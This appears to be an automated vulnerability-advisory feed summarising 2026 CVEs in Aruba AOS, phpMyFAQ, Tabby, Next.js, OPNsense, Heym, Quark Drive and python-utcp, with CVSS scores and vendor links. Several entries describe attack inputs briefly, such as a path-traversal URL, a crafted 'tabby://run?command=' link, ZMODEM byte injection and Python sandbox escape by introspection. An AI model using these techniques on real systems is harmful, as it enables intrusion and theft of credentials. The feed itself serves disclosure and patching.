Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating... (May 12, 2026).
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44857).
Sources:
NVD CVE-2026-44857: https://nvd.nist.gov/vuln/detail/CVE-2026-44857
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...
https://kevwire.com/record/CVE-2026-44858
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating... (May 12, 2026).
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44858).
Sources:
NVD CVE-2026-44858: https://nvd.nist.gov/vuln/detail/CVE-2026-44858
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44871
Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44871).
Sources:
NVD CVE-2026-44871: https://nvd.nist.gov/vuln/detail/CVE-2026-44871
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Command injection vulnerabilities exist in the command line interface (CLI) service accessed by the PAPI protocol of AOS-8 and AOS-10 Operating Systems. Successful exploitation of these vulnerabilities could allow an authenticated remote attacker to execute arbitrary commands on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories.
https://kevwire.com/record/CVE-2026-45008
phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. (May 15, 2026).
phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.
CVSS 7.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45008).
Sources:
NVD CVE-2026-45008: https://nvd.nist.gov/vuln/detail/CVE-2026-45008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.2 contains a path traversal vulnerability in Client::deleteClientFolder that allows admins with INSTANCE_DELETE permission to delete arbitrary directories. Attackers can submit traversal sequences like https://../../../<path> in the client URL parameter to recursively delete directories outside the intended clientFolder scope.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters...
https://kevwire.com/record/CVE-2026-45010
phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters... (May 15, 2026).
phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45010).
Sources:
NVD CVE-2026-45010: https://nvd.nist.gov/vuln/detail/CVE-2026-45010
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
phpMyFAQ before 4.1.2 contains an improper restriction of excessive authentication attempts vulnerability in the /admin/check endpoint, which accepts arbitrary user-id parameters without session binding or rate limiting. Unauthenticated attackers can brute-force any user's six-digit TOTP code by submitting POST requests with sequential token values, bypassing two-factor authentication to gain full administrative access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tabby (formerly Terminus) is a highly configurable terminal emulator.
https://kevwire.com/record/CVE-2026-45035
Tabby (formerly Terminus) is a highly configurable terminal emulator. (May 15, 2026).
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby registers itself as the handler for the tabby:// URL scheme on all platforms. The URL scheme handler supports a run command that directly executes OS commands with no user confirmation, sanitization, or sandboxing. An attacker can craft a malicious link (tabby://run?command=...) and deliver it via a website, email, chat message, or any other medium. When a victim clicks the link, the OS launches Tabby which immediately spawns the specified command as a child process with the user's full privileges. This is a zero-click-after-link-visit RCE vulnerability. This vulnerability is fixed in 1.0.233.
CVSS 9.4 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45035).
Sources:
NVD CVE-2026-45035: https://nvd.nist.gov/vuln/detail/CVE-2026-45035
Vendor advisory (via NVD references): https://github.com/Eugeny/tabby/security/advisories/GHSA-hf8h-rjrf-3jg6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby registers itself as the handler for the tabby:// URL scheme on all platforms. The URL scheme handler supports a run command that directly executes OS commands with no user confirmation, sanitization, or sandboxing. An attacker can craft a malicious link (tabby://run?command=...) and deliver it via a website, email, chat message, or any other medium. When a victim clicks the link, the OS launches Tabby which immediately spawns the specified command as a child process with the user's full privileges. This is a zero-click-after-link-visit RCE vulnerability. This vulnerability is fixed in 1.0.233.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tabby (formerly Terminus) is a highly configurable terminal emulator.
https://kevwire.com/record/CVE-2026-45036
Tabby (formerly Terminus) is a highly configurable terminal emulator. (May 15, 2026).
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. The ZModemMiddleware in tabby-terminal consumes all session output through a Zmodem.Sentry, and when a ZMODEM ZRQINIT header is detected, unconditionally calls detection.confirm() and writes a fixed ZRINIT response ( **\x18B0100000023be50\r\n\x11) back into the active PTY as input. When the process that triggered the detection (e.g., cat) exits, the injected bytes are consumed by the user's shell as a command line. Under fish (default configuration), the ** prefix triggers recursive glob expansion against the current directory, allowing an attacker-placed executable at a matching nested path (e.g., d/xB0100000023be50) to be executed by relative pathname without relying on PATH. Under bash and zsh, a secondary xterm.js terminal color-query feedback (OSC 10) can be combined in the same file to inject a slash-containing command word that similarly bypasses PATH resolution. An attacker can exploit this by providing a crafted file (e.g., in a cloned Git repository) that a user displays with cat, achieving code execution with no interaction beyond viewing the file. This vulnerability is fixed in 1.0.233.
CVSS 7.0 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45036).
Sources:
NVD CVE-2026-45036: https://nvd.nist.gov/vuln/detail/CVE-2026-45036
Vendor advisory (via NVD references): https://github.com/Eugeny/tabby/security/advisories/GHSA-qr3x-j8g9-xhf6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby before 1.0.233 automatically confirms ZMODEM protocol detection on all terminal session output without user interaction, enabling shell command execution when a user displays attacker-controlled content. The ZModemMiddleware in tabby-terminal consumes all session output through a Zmodem.Sentry, and when a ZMODEM ZRQINIT header is detected, unconditionally calls detection.confirm() and writes a fixed ZRINIT response ( **\x18B0100000023be50\r\n\x11) back into the active PTY as input. When the process that triggered the detection (e.g., cat) exits, the injected bytes are consumed by the user's shell as a command line. Under fish (default configuration), the ** prefix triggers recursive glob expansion against the current directory, allowing an attacker-placed executable at a matching nested path (e.g., d/xB0100000023be50) to be executed by relative pathname without relying on PATH. Under bash and zsh, a secondary xterm.js terminal color-query feedback (OSC 10) can be combined in the same file to inject a slash-containing command word that similarly bypasses PATH resolution. An attacker can exploit this by providing a crafted file (e.g., in a cloned Git repository) that a user displays with cat, achieving code execution with no interaction beyond viewing the file. This vulnerability is fixed in 1.0.233.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tabby (formerly Terminus) is a highly configurable terminal emulator.
https://kevwire.com/record/CVE-2026-45037
Tabby (formerly Terminus) is a highly configurable terminal emulator. (May 15, 2026).
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.232, Tabby's terminal linkifier passes any detected URI directly to the operating system's protocol handler without validating the protocol scheme. This allows a malicious SSH or Telnet server to send crafted terminal output containing dangerous protocol URIs which Tabby renders as clickable links, triggering arbitrary OS protocol handlers on the victim's machine. This vulnerability is fixed in 1.0.232.
CVSS 7.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45037).
Sources:
NVD CVE-2026-45037: https://nvd.nist.gov/vuln/detail/CVE-2026-45037
Vendor advisory (via NVD references): https://github.com/Eugeny/tabby/security/advisories/GHSA-cmpc-v2x9-j9x9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.232, Tabby's terminal linkifier passes any detected URI directly to the operating system's protocol handler without validating the protocol scheme. This allows a malicious SSH or Telnet server to send crafted terminal output containing dangerous protocol URIs which Tabby renders as clickable links, triggering arbitrary OS protocol handlers on the victim's machine. This vulnerability is fixed in 1.0.232.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js is a React framework for building full-stack web applications.
https://kevwire.com/record/CVE-2026-45109
Next.js is a React framework for building full-stack web applications. (May 13, 2026).
Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.18 and 16.2.6, it was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. This vulnerability is fixed in 15.5.18 and 16.2.6.
CVSS 7.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45109).
Sources:
NVD CVE-2026-45109: https://nvd.nist.gov/vuln/detail/CVE-2026-45109
Vendor advisory (via NVD references): https://github.com/vercel/next.js/security/advisories/GHSA-26hh-7cqf-hhc6
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.18 and 16.2.6, it was found that the fix addressing CVE-2026-44575 did not apply to middleware.ts with Turbopack. This vulnerability is fixed in 15.5.18 and 16.2.6.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-45158
OPNsense is a FreeBSD based firewall and routing platform. (May 13, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45158).
Sources:
NVD CVE-2026-45158: https://nvd.nist.gov/vuln/detail/CVE-2026-45158
Vendor advisory (via NVD references): https://github.com/opnsense/core/security/advisories/GHSA-5rx3-w735-74wm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability is fixed in 26.1.8.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by...
https://kevwire.com/record/CVE-2026-45225
Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by... (May 12, 2026).
Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by supplying a crafted filename with traversal sequences. Attackers can exploit the unvalidated filename parameter in the upload_file() handler to bypass path restrictions and write, read, or delete files outside the intended storage directory.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45225).
Sources:
NVD CVE-2026-45225: https://nvd.nist.gov/vuln/detail/CVE-2026-45225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by supplying a crafted filename with traversal sequences. Attackers can exploit the unvalidated filename parameter in the upload_file() handler to bypass path restrictions and write, read, or delete files outside the intended storage directory.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim...
https://kevwire.com/record/CVE-2026-45226
Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim... (May 12, 2026).
Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim workflow UUIDs without proper access validation. Attackers can create workflows with execute nodes or agent subWorkflowIds pointing to victim workflow UUIDs to load and execute those workflows under attacker-controlled execution paths, exposing victim workflow outputs and triggering workflow nodes with unintended side effects.
CVSS 7.6 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45226).
Sources:
NVD CVE-2026-45226: https://nvd.nist.gov/vuln/detail/CVE-2026-45226
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Heym before 0.0.21 contains an authorization bypass vulnerability in workflow execution that allows authenticated users to execute arbitrary workflows by referencing victim workflow UUIDs without proper access validation. Attackers can create workflows with execute nodes or agent subWorkflowIds pointing to victim workflow UUIDs to load and execute those workflows under attacker-controlled execution paths, exposing victim workflow outputs and triggering workflow nodes with unintended side effects.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using...
https://kevwire.com/record/CVE-2026-45227
Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using... (May 12, 2026).
Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45227).
Sources:
NVD CVE-2026-45227: https://nvd.nist.gov/vuln/detail/CVE-2026-45227
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Quark Drive before 0.8.5 contains a mass assignment vulnerability in the POST /update endpoint that allows authenticated attackers to overwrite administrator credentials by...
https://kevwire.com/record/CVE-2026-45229
Quark Drive before 0.8.5 contains a mass assignment vulnerability in the POST /update endpoint that allows authenticated attackers to overwrite administrator credentials by... (May 13, 2026).
Quark Drive before 0.8.5 contains a mass assignment vulnerability in the POST /update endpoint that allows authenticated attackers to overwrite administrator credentials by posting an arbitrary webui object to the config_data dictionary. Attackers can exploit insufficient deny-list filtering to permanently replace stored login credentials, lock out legitimate administrators, and gain persistent access to all configured tasks, cloud tokens, and notification services.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45229).
Sources:
NVD CVE-2026-45229: https://nvd.nist.gov/vuln/detail/CVE-2026-45229
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Quark Drive before 0.8.5 contains a mass assignment vulnerability in the POST /update endpoint that allows authenticated attackers to overwrite administrator credentials by posting an arbitrary webui object to the config_data dictionary. Attackers can exploit insufficient deny-list filtering to permanently replace stored login credentials, lock out legitimate administrators, and gain persistent access to all configured tasks, cloud tokens, and notification services.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### python-utcp is the python implementation of UTCP.
https://kevwire.com/record/CVE-2026-45369
python-utcp is the python implementation of UTCP. (May 14, 2026).
python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45369).
Sources:
NVD CVE-2026-45369: https://nvd.nist.gov/vuln/detail/CVE-2026-45369
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
